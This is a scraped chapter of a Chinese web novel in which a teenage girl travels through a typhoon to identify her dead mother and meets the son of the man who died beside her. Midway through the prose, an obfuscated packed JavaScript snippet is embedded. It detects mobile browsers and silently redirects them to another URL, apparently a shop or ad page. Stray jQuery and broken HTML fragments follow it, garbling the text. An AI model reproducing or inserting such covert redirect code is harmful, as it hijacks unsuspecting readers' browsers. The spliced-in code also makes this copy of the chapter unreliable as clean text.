默认冷灰
24号文字
方正启体

1. 序幕

作者:爱丽丝岛本书字数:K更新时间:
    妈妈死了。


    夏燃的第一反应是,听错了,应该是爸爸死了才对。


    她把座机挂断,这时正好玻璃门外一道极亮的白光在嵌着鎏金边的浓云间闪过,无声无息,把屋里照成几瞬透明。寒意是一条蔽在山野里的蛇,沿着门底缝隙磨着牙齿悄然爬入,钻进她黑不见底的眼睛里。


    哐当一声,一个住客抗着蛇皮袋推开玻璃门,墨绿色胶布鞋在白色四方瓷砖上留下一串油腻的泥脚印。门外日落昏黄,夜色将至。


    “有房没,干净便宜些的。”


    没人理他。


    半扇玻璃门在他身后大幅度地收拢,不锈钢门把手挂着的彩色铃铛丁零零地脆响。门口正盛的台风趁机而入,灌进沼泽地潮水般的湿腥味。


    住客略微愕然地看向前台十六七岁的小姑娘。


    她呆坐在土黄色的条椅上一动不动,细眉杏眼,鼻尖微翘,白皙清秀,脸色却出奇得难看。风把她的黑直长发高高卷起,又凌乱抛下,像香港怀旧影片里的凄美少女鬼。


    再往四周打量,旅店入口玄关处虽小但倒干净,白墙上没有一点黑印污渍。前台桌上摆着高二的几本教科书,一支圆珠笔夹在一本模拟卷的中间。两只白色摄像头扯着黑线悬在入门角落和走廊入口。一陶瓷坐莲观音端坐在高墙处迎门处,手捻细柳,眉目慈悲,微笑垂眸俯瞰众生。


    住客盯着少女的脸,又问一遍:“有房没?”


    夏燃呆滞地抬起头,说:“要几间,住几天,大床还是标房?”


    “就我一人,先住三天。”


    “还剩一特价大床房,我带你去看。”


    夏燃带住客看了下房,男人眼神泄露满意,只是嘴上还嘟囔着贵。她在房间里压低声音说:“已经是特价房了,你若线下付现金我就再给你打个折。”


    十分钟后,夏燃背着她的书包推开了玻璃门,走入低沉迷离的暮色中。


    保洁阿嫂以为她是回家,对着她背影喊:“台风天呢,这大雨说落就落,几分钟路也得撑把伞啊——”


    夏燃回过头。


    蓝黄揉杂的晚霞被风吞没在城市的夜空里。她穿着一周前妈妈送的雪纺朱砂红泡泡袖连衣长裙,站在铅灰色的马路边,像刚刚过完生日派对的幸福少女,是这个世界最纤薄的一抹亮色。


    只是,明的光快要灭了,暗的路灯亮起来。灯光下她面容苍白,神情茫然。


    她看着店门口架子上为客人准备的一排长伞,拿起最底下一件米黄色的旧雨衣。


    这是今年盛夏的最后一场台风,台风过后就是初秋,一场秋雨一场寒,等冬天到了,一年就又过去了。


    天际间最后一丝光线也彻底消失了,她赶上了通往目的地最后一趟中巴车。


    刚一入坐后排,高空又传来闷闷的一声巨响,震得车窗玻璃嗡嗡打颤。紧接着大雨噼里啪啦如注坠下,倾斜着砸在夏燃的面颊上,搅得她的双眸如暗夜一般,模糊一片。


    在风里雨里雷声里,夏燃移上了车窗玻璃,书包摆在膝盖上,脑子里反复回荡一个念头:“听错了,妈妈不死,爸爸死。”


    明城,南镇。


    这是夏燃记忆中第二次来这里。


    前几次来的时候,她大概还是襁褓里的婴儿或年幼无知的幼童。唯一有印象的一次,是她九岁那年的寒假。对镇上的所有记忆就是,狭窄古旧的青石板路,石板缝隙里冻成齑粉的青苔,灰的墙,黑的瓦,臭气熏天的土厕,土黄色的狗耷拉着尾巴成群结队走街串巷,白脏的野猪三三两两拱在巷角垃圾堆里嗷叫着觅食,空气里满是泥土和河水的冻腥味。


    谈不上喜欢或者不喜欢,她匆匆住过一夜就离开了。明城汽车站到南镇有直达中巴车,一天若干趟,行程不过一个半小时,但妈妈后面就是不喜来。


    即便这是妈妈出生长大的地方。


    然而她却选择死在了这里。


    警察没有告诉夏燃妈妈死亡的方式和原因。


    跳下中巴车前,她穿戴好了雨衣。东南西北是冷箭一般粗细的雨,脚下的土地像天上的云障,黑压压得如同一句咒语。


    天地之间仿佛只剩她一人。


    暴雨令人和物都失了轮廓。


    流浪的狗觅食的猪消失了,街巷路灯冰冷的白光拍打在风雨中,一条只够两辆车并排通行的小路看过去无限的深。所有店铺都关了门,一家叫天天杂货铺的门口竖着一根长长的水泥杆子,杆子上挂着一块深蓝色的铁皮牌子,上面标着两个白色黑体字:南镇。


    夏燃在暴雨中艰难前行。她双手抱在胸前,手机攒在手心里,书包扛在背后,远远看过去像一个弓腰驼背的老人。


    走了几分钟路,一辆摩托车红着眼咆哮着从她身边飞过,溅起一地的泥水。


    她只扫过一眼便又立刻低下了头。风是迎面扑来的,这意味着雨也是迎面浇到她的脸上。豆大的水珠顺着她光裸的小腿不断下滑,白色回力学生鞋彻底淹没在积水中。


    摩托车的声音越来越远了,世界又回归到暴雨声的肃静中。


    她知道她在害怕,通体的寒冷,彻骨的颤栗。


    但是她咬着牙,一步一步往前走。


    又走了几分钟,总之顺着电话里警察的指令拐了一个弯后,夏燃在一条宽一点的马路边,模模糊糊分辨出了一个小小的镇上派出所。


    简单的不能再简单的派出所里守着两个五十多岁的警察。见一米黄色身影推开门进来时,两个人默然地对视一眼。


    造孽啊,竟又是一小孩。他们在心里叹。


    夏燃整个人跟落汤鸡一样,不出几秒落脚处就积了一滩水。撩起雨帽时,她的长发聚拢在了脑后,额头上露出小小的美人尖。明明是素净纯洁的一张少女脸,眼眸却比这暴雨天的夜色还要黑,黑得甚至看不出一滴泪。


    “你是她女儿?”


    “嗯。”她哆嗦着发出一个音。


    “你自己一个人来的?坐中巴?”他们有点不敢相信。挂断电话时,女孩还在市区里。


    “嗯。”


    “你爸电话我们还是没打通。”一警察隐瞒了她妈妈娘家人没来的事实,“你要么在这里等一下其他大人?”


    “不用管他。”她的声音听过去像块碎玻璃,“带我去。”


    “毕竟是……孩子,你还小。”


    她努力张了张口,不知是因为浑身湿冷还是因为夜太黑,出来的声音是从嗓子眼里挤出来的,干痛的像张快要撕裂的人皮鼓。


    “这么大雨我都来了,带我去。”


    他们带她去的地方是一个名叫童凤的山村,她以前没有去过。


    南镇是明城辖属县城里的一个普通小镇,靠近山区,下面分布六个大小不一的村庄。一个村庄一个姓,童风村的村民都姓陆。改革开放后三十年里能出去打工的都陆续出去了,村子里留下的都是老妪老翁和留守儿童,山上有大片无人居住的破败民居。


    警车绕着崎岖的山路一点点往上挪。远视灯通向黑暗,雨刮器在暴风雨中疯一样来回刮。


    后视镜里,夏燃坐在后排,身上裹着一军绿色毛毯,赤脚踩在座位上,膝盖收进毛毯里,卷着身子,侧脸望向窗外,像个紧绷易碎的木偶。脚下放着一双警察给的长筒雨胶鞋,跟她的鞋码相比,宽大的像只小船。


    警察询问她问题,她一个字也没听见。


    车窗玻璃被雨浇得模糊,她什么也看不清。


    小心翼翼开了十七八分钟,终于到了一山道分叉处,路边好似有一大间砖木屋子,风啸雨吼中看不清模样,只依稀看见有一团剧烈的白光在空气中,心脏一样跳动。


    “小姑娘,下车吧。”老警察抓着伞等在车外。她的雨衣在上车之前就脱了,山上不比城里,八月台风天的夜里也是寒的,让她裹着毛毯罢。


    等了一会,她没下来。


    车里警察停好车回眸看她,只见她整个人都在抖。脸上身体牙齿眼睛,簌簌得像被重锤了边角的钢化玻璃。


    她在恐惧。


    越是接近,越是恐惧。恐惧令她管不住表情。


    警察看着心里也难受。再怎么故作坚强,都只不过是一个涉世未深的高一学生啊。


    “还进去么?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126768|196112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    不想进去他们完全能够接受,毕竟按照道理,这本应该是大人们处理的事。


    夏燃已经完全无法思考了,她只会发出一个音:“嗯。”


    天空又闪过一道惊雷。


    是怎么走进去的呢,她不记得了。她成了一个被牵线的木偶,站在漆黑一片的地狱里。警察叫她怎么走,她就怎么走。恍恍惚惚间,只知道自己到了门口。门是榆木做的,上面半插着一根粗大的门闩。瓦檐下趴着一辆摩托车,车子大约是黑色的,形状霸气威武,像只猎豹。


    一片白光在黑暗里亮得刺眼。她僵硬着抬起头,看见发光的是两个瓦斯大灯泡,悬在两根重梁的中间。门推开的瞬间,灯泡在风里眼珠子一样地颤。


    室内空间宽阔,平铺直叙长方一间,门窗紧闭,墙边好像还站着其他人,只是她什么都看不见了,什么都闻不到了。


    她的眼睛里只剩下灯泡下靠灰墙边的一张木板床。


    床上并排躺着两个人,一个男人,一个女人。他们衣着完整,面色发青僵硬,身上盖着一床红牡丹老粗布棉花被。


    女人就是她的妈妈。


    男人不是她的爸爸。


    没有大人们想象中的惊恐尖叫,也没有伤心晕厥,夏燃只是死死攥着身上的毛毯,赤脚套着雨靴,伫立在门边,寂静得像一滩死水。过了一会,她像片影子一样走了过去,掀开了他们的被子。


    没有人阻拦她。


    被子下,他们手牵着手,紧紧的。


    又不知道过了多久,隐隐约约间,她终于听见有人在跟她说话。


    “是你妈妈吧?”


    她听见自己的声音在说:“嗯。”


    “你最后一次见到她是什么时候?”


    “一周前。”


    “她离开一个礼拜,你们中间有联系吗?”


    “有。”


    “你知道她为什么离开吗?”


    “知道。”


    “为什么?”


    “要快乐。”


    “那她丈夫,也就是你爸爸知道她离开的事吗?”


    “不知道。”


    “老婆离开一个星期都不知道?”


    “他不在。”


    问话人停顿了一下。


    “那,你认识这个男人吗?”


    “认识。”


    “你知道他跟你妈妈之间的关系?”


    她空白了片刻,艰难地咽了下口水,说:“知道。”


    夏燃像个木头人一样一问一答。


    她连自己刚刚说了什么都不记得了,只听见空旷屋梁下回荡着自己虚浮的声音。


    这时耳边突然传来另一道不一样的声音。年轻,暗哑,像被大雨浇透哑了火的子弹,丢到了她的心上。她的目光已经涣散,大脑却突然被这个声音打了个响指,神经猛地一颤。


    那个人说:“你叫什么?”


    夏燃木然地循着声音偏过头,看见一个男人从墙角阴影中站了出来。


    个子很高,身材健硕,肩宽腿长,穿一身黑色机车服,高领金属拉链抵住他的下巴。灯泡白光在他的脸上晃动,却看不清他的神色。身后影子黑沉沉地刻进背后的水泥墙,越拖越长。


    他走到床边,沉默地盯着床上两人一会,伸出手,把翻开的被子一拉,重新为二人盖上。


    她脑海里浮现出门口屋檐下歇着的那辆摩托车,和它在风雨中穿梭前行时发出的撕裂的咆哮声。


    他回过头,近距离低头凝视她。她则一寸寸地抬起眸。


    光从二人的头顶上空流泻下来,她看见了一张年轻英俊的脸。


    寸头,发梢挂着雨滴,古铜色皮肤,眉骨硬朗,眉毛是未经修饰的浓黑,底下有一双微凹坚毅的单眼皮眼睛,瞳孔是沉静的深褐色,鼻梁高且挺直,轮廓分明,介于少年和男人之间。


    那是夏燃第一次见到传说中的陆照也。


    那年夏天,她十六岁,他十八岁。


    她失去了她的妈妈,他失去了他的爸爸。


    上苍以一种极端的吊诡的方式,把他们的命运从此绑在了一起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)